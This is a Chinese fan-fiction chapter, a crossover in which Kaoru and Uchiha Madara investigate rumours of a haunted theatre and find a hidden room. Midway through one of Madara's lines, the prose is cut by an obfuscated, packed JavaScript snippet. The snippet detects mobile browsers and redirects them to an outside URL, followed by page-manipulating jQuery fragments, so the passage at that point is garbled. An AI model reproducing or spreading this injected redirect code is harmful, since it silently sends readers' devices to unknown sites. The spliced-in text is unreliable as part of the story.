此刻熏觉得自己大概也明白了些规律，像那些无法隐藏自己行踪的鬼，等级都比较普通。到了上弦级别的鬼，估计都能混入完美伪装在人群之中甚至驱使人类，比如之前遇到的童磨，还有这只刚遇到的鬼。 “我留下印记了，之后再找过去，这里不适合动手。”斑说。 熏叹息着点头，正要说什么，就听斑说道：“我不需要保护。” “……”熏僵了僵，她想说点什么，比如老生常谈的宇智波族长身份很重要作为盟友的一方她当然得保护他的安全，比如说她和这些鬼相似性更多她来对付鬼会更方便，但最后她也不知道为什么自己就这么甩开了斑的手，瞪着他道，“才不是想保护你，我只是因为……” 她就不该自作多情！现在好了吧，宇智波斑肯定觉得她多此一举！ “我只是因为想起你说过什么不喜欢身后有人，也不想被宇智波拉到身后去而已——不许提柱间！”见斑的神情她就知道斑肯定又要提一嘴柱间，但那能一样吗！ 柱间是千手的族长，保护千手的族人是理所当然的！ 熏转身就要往歇业的剧院中走，斑直接拉住她：“我不是这个意思。” 斑眉头微微皱着，面对熏的时候“喜欢”、“爱”这类的词因为习惯早就能够顺畅表达，但是更为委婉的一些语言却不知为何难以说出口。 “——我只是，不希望你因为我，”斑这么说着，却又觉得矛盾，“陷入险境。” 但如果真的是这样，当初他就不会和熏交往，现在更不会主动找上熏。 可同时，他确实不希望熏陷入险境，不希望她受伤。 既希望她平安，却又克制不住对她做出危险之事，实在太过矛盾。 显然，熏也意识到这句话中的漏洞，她哼了一声，却没有点明：“就当你说的是真话吧，现在先把剧院的事解决了，那只鬼也不能放过。” 随后两人先去了剧院的办公区，夜间歇业的剧院只留了经理守着等他们到，熏和斑决定好目的地后就提前委托鬼杀队帮忙送了一封信过来，办公室内只有一盏简陋的吊灯亮着昏惨惨的光。 不大的室内摆了架风格极不相衬的浮世绘屏风，墙上挂着几个狰狞的傩面，角落堆着几个半开的箱子，里面都是些戏剧用的服装道具——反正熏认不出来。 剧院经理见熏打量着那些道具，热络地介绍道：“那是‘忠臣藏’的衣服，过去我们剧团排演的《忠臣藏》可以说是浅草最出名的节目了。” 熏看了眼斑，虽然斑神色未变，但熏能认出那是和自己一致听不懂的硬撑。 她懊恼地想刚才自己为什么要多看那几眼，让斑来观察的话现在烂摊子就是斑的了！ 想是这么想，熏还一副大受感动的样子，从剧名猜剧情：“忠臣藏啊……实在是让人动容的忠义之情。” 剧院经理点头，怀念的情绪转瞬变得失落起来：“可惜这个时代早就没有那种忠义了，我们剧团也变得和忠臣藏一样不合时宜起来，现在流行的都是些西洋的剧目，就连我们的拿手剧目都可以被西洋的器械记录下来重复播放了。” 熏决定打住这个话题，这个时代的戏剧和电影她属于两种都没看过，再深入聊下去只会穿帮，于是强行介绍起自己的来意：“那些伤感的话题不必再提，进入正题吧，我们送过信，是听闻了这里的传闻，特来调查的。” 经理愣了一下：“您就是信里提到的巫女大人……” 他的视线又转向斑：“……那这位是？” “是我们神社的神官，您称呼他产屋敷就好。” 斑：“……” 熏心虚地避开斑的视线。 “……是的，称呼我产屋敷即可。”斑对着经理确认道。 经理还是有些疑惑：“那两位的衣服……” “自然是为了不打草惊蛇，正式的衣服实在是有些引人注目，闹鬼只是传闻，若是我们被看见了，对剧团的影响显然也不好。”熏说。 经理犹豫，但经理自暴自弃。他咳嗽了一声：“虽然老板答应过让两位调查，但我也需要陪同，两位不介意吧？” “当然。”熏知道这是担心他们不怀好意，不过多一个人跟着其实并没什么大问题，剧院就他们三个人在，真的遇上鬼打起来也能分出余力保护第三个人。 于是两人就看着剧院经理翻出了个手电，准备带路。 “……”虽然知道这个时代科技树比忍界前，但是看到对面啪嗒一声打开手电的时候熏还是有种说不出的感动。 “……”斑也同样沉默了，“这是？” 经理意识过来：“这是手电，前几年出来的新玩意儿，价格也……其实也还行。” 想起自己就一个人，经理强行改口，怕惹来旁人杀人夺宝的心思。 “我们神社比较保守，没见过这种新东西。”熏赶紧解释两句混了过去。 三人走在黑漆漆的剧院内，只有手电亮着，这时斑突然问：“这里以前晚上也要营业吧？” “啊，是这样没错，我们以前……” 见经理又要追忆往昔，斑立刻打断：“以前晚上，也不开灯吗？” “咳咳！”熏大声咳嗽起来。 不要问这么失礼的问题啊！ 经理：“……啊，怎么说呢……总之因为各种各样的原因……经费不是很宽裕……这段时间晚上也不营业……就是这么一回事。” 斑：…… “您以前在剧团里做什么呢？”熏连忙转移话题，想到经理话里话外剧团是转型开始放电影的，随便找了个能吸引对方注意的问题。 “服装设计、道具都是我在负责！”经理的语气显得自豪起来，“之前说过，我们剧团的《忠臣藏》极受欢迎……” “《忠臣藏》讲的是什么？”斑问了后又补充了一句，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224375|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去在神社里一直修行，没有了解过这些。” 经理恍然大悟：“难怪总觉得您有种……世外之人的感觉。” 熏心说对方还真会找词说服自己，也跟着听了一耳朵对方剧团拿手的净琉璃戏剧讲的到底是什么故事——总之是个一群家臣为自家主君复仇、最后在大仇得报后集体在将军的命令下自尽的故事。 “自从有了闹鬼传闻，”经理说着也叹了口气，“就有人说那是义士们的魂魄被我们的戏剧招来，忘记了已经复仇的事实，悲痛着要为主君复仇。往常我们一周都还能排上两三场，现在只能放些西洋的活动照相。” “……”好恶毒的流言，简直让人怀疑这就是商战的程度。 “前不久有个客人在散场后摔伤了，还说自己看到了鬼，那之后晚上客人就少了很多，所以我们现在晚上不营业了，”经理继续解释，“我们也搜查了很多次，都没找到鬼在哪里，但晚上休息在剧院的时候，却也确实听见过古怪的叫声。” “呜呜的声音吗？”熏问。 经理点头。 “大概是从多久开始出现这个现象的呢？” “声音的话是最早出现的，大概是在半年前剧院重新装修引进了可动照相的设备后，”经理思考了一阵后回答道，“见鬼的传言要晚些，大概是三个月前……我们剧团有个人失踪之后。” “那个人呢？”斑问。 “……留下了封信说继续待在剧团没有前途离开了，之后没人见过，说起来那段时间他表现得也很古怪，和我们说着怪物之类的话，不过那时候我们都以为他只是做了噩梦，现在想来可能是压力太大，所以最后才会受不了偷偷离开吧。” 斑因为经理一本正经的分析看了他一眼，熏也感叹这人不愧是在闹鬼的剧院坚持岗位留在剧院里的人。 这么边聊边巡查着剧院内部，走道尽头突然窜出一个黑色的影子，朝着楼上跑去。 经理被吓了一跳，手电光一阵乱晃，离得近些的熏稳住手电：“不用担心，我的同伴已经追过去了。” 见经理惊魂未定，刚才那个影子也没有鬼的气息，想起对方说起剧院半年前装修过一次，熏的神色难免微妙起来，问经理有没有装修前后的剧院图纸。 经理愣了下，随机点头：“有是有，您要这个做什么？” “对照着图纸来看可能更容易发现疑点。”薰微笑着说道。 剧院经理总觉得这两个神职人员的行事风格有种说不出来的奇怪，但还是依言带熏去资料室拿图纸，再准备去二楼。 只是这一次，经理脸色有些发白，和熏打着商量：“巫女大人，不如我们就在这里等神官大人回来吧。” “……”熏看出对方确实害怕了。 “您在这里等着吧，至少一楼我们都看过了，不会有危险的。”熏说。 事实上一楼也确实没有鬼的气息。 把经理留在一楼后，熏找到斑会和，和斑说了自己的想法：“我在想，既然剧院装修过，有没有可能会多出一两个图纸上看不见的密室。” 斑接过二楼的图纸看了起来，而后指向现在他们所处的这个房间：“这里形状不对，小了。” 熏：“……这也太巧了。” 她想起刚才光顾着说自己的想法，没来得及问：“斑，你刚才追着那个黑影上来，有抓到人吗？” “消失了。”斑皱着眉回答。 熏不相信斑会追丢一个人类。 “……首先，我们先确认一遍，我们知道的‘鬼’是无惨发展出来的食人鬼对吧，和灵异现象没有关系？”熏问道。 斑沉默片刻，开口：“诅咒。” 熏：“……” 这剧院不会真的闹鬼吧！ 熏摇头甩开这个可怕的想法，连忙道：“总之，我们先把少掉的那个房间找出来！图纸给我看一下！” 因为提前知道了结果，所以在找哪里少掉的时候就格外容易，只是四周的房间他们都看过了，没找到入口在哪里，最后两人面面相觑。 “砸吗？”熏问，“还是先和经理说一声？” “有鬼的气息吗？”斑问。 熏愣了一下，而后往隐藏房间的方向看去，四周依旧正常，没有鬼的气息。 探索到这个地步，已经可以先告一段落了，房间后是什么也和他们没关系。 之后有什么后续再打听就是了，说不定还会找上他们调查。 既然没有鬼的气息，那么情况就不是很严重，还有个不知名鬼等着他们调查呢。 想通之后，熏刚想说回去吧，就听斑说：“那个‘幽灵’的真面目……” 熏立刻扒拉住斑的手：“结束了！结束了！可不能随便砸墙啊！这可不是我们的雇主！” “……我不是千手。”斑的目光复杂极了。而接收到斑的目光并且刚才确实有砸墙念头的熏心头恼怒，说着这和家族没关系就把人往外拉。 “你敢说你们宇智波做任务的时候没有图过方便走捷径？我可是听说过的，之前你们保护大名的任务，为了方便直接撞破了大名的屏风！”熏还在念叨。 那是火核干的。 又不是他。 斑没有解释，由着熏把他拉下楼。